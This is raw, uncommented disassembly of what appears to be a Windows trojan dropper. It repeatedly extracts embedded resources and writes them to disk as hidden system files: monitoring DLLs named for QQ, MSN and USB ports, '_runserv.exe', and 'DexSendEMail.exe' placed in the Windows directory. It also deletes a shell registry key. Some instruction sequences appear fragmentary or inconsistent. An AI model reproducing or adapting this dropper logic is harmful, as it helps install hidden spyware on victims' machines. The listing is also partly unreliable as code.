mov ecx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405972
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x4040ed
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x28]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x4040cf
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
push str.com1qqfile.dll
lea edx, [esp + 0x28]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x2d
call fcn.0040f4dc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x9d
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x404169
push 0x10
push 0x4138c8
push 0x413954
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x40419b
push 0x10
push 0x4138c0
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
mov eax, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40595a
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x4041e8
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x28]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x4041ca
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x10]
push str.com1msnfile.dll
lea ecx, [esp + 0x28]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x2e
call fcn.0040f4dc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x9e
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x404264
push 0x10
push 0x4138a4
push 0x413954
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x404296
push 0x10
push 0x41389c
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
mov edx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405942
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x4042e3
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x28]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x4042c5
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x10]
push str.com1primoni.dll
lea eax, [esp + 0x28]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x2f
call fcn.0040f4dc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xa1
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40435f
push 0x10
push 0x413880
push 0x413954
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x404391
push 0x10
push 0x413878
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
mov ecx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40592a
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x4043de
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x28]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x4043c0
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
push str.com1usbportdll.dll
lea edx, [esp + 0x28]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x30
call fcn.0040f4dc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x9a
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40445a
push 0x10
push 0x413858
push 0x413954
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x40448c
push 0x10
push 0x413850
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
mov eax, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405912
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x4044d9
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x28]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x4044bb
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x10]
push 0x413984
lea ecx, [esp + 0x1c]
push eax
push ecx
call sub.MFC42.DLL_operator
push 0x413844
lea edx, [esp + 0x28]
mov bl, 0x31
push eax
push edx
mov byte [esp + 0x9b0], bl
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x32
call fcn.0040f4dc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xc4
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40457e
push 0x10
push 0x41383c
push 0x413954
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x4045b0
push 0x10
push 0x413834
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
mov eax, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40460a
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x4045fc
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x28]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x4045de
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x10]
push str.com1devctrl.dll
lea ecx, [esp + 0x28]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x33
call fcn.0040f4dc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
mov edx, dword [esp + 0x14]
push 0
push edx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
test eax, eax
je 0x40471d
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xa6
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x404690
push 0x10
push 0x413818
push 0x413954
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x4046c2
push 0x10
push 0x413810
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
mov eax, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4047a3
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x40470f
lea eax, [esp + 0x10]
push str._runserv.exe
lea ecx, [esp + 0x28]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x34
call fcn.0040f4dc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
mov edx, dword [esp + 0x14]
push 0
push edx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
test eax, eax
je 0x40484b
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xa8
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4047bb
push 0x10
push 0x413808
push 0x413954
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push 0x10
push 0x413800
push 0x4137d0
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x4047ed
push 0x10
push 0x4137c8
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
mov eax, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4048d8
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xec]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xec]
push 0x104
push eax
call ebx
mov edi, str.DexSendEMail.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xec]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xa9
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4048f0
push 0x10
push 0x4137c0
push 0x413954
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
push str.Shell_
push connect
mov dword [esp + 0x20], esi
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
test esi, esi
jne 0x404936
push 0x10
push 0x41376c
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push 0
push 0x80
push 2
push 0
push 0
lea eax, [esp + 0x100]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4058fa
push 0x10
push 0x413394
push 0x413364
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push 0x10
push 0x41335c
push 0x41332c
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push 0x10
push 0x413324
push 0x4132f4
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push 0x10
push 0x4132ec
push 0x4132bc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push 0x10
push 0x4132b4
push 0x413364
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push 0x10
push 0x4132ac
push 0x41327c
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push 0x10
push 0x413274
push 0x413244
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push 0x10
push 0x41323c
push 0x413244
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push 0x10
push 0x413234
push 0x413244
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push 0x10
push 0x41322c
push 0x413244
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
jmp 0x405af5
push 0x10
push 0x413224
push 0x413244
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
push 0x10
push 0x41321c
push 0x413244
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
push 0x10
push 0x413214
push 0x413244
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
push 0x10
push 0x41320c
push 0x4131d8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
push 0x10
push 0x4131d0
push 0x4131a0
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
push 0x10
push 0x413198
push 0x413168
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
push 0x10
push 0x413160
push 0x413bd8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x9a4], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x9a4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x9a4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov dword [esp + 0x9a4], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0x99c]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x998
ret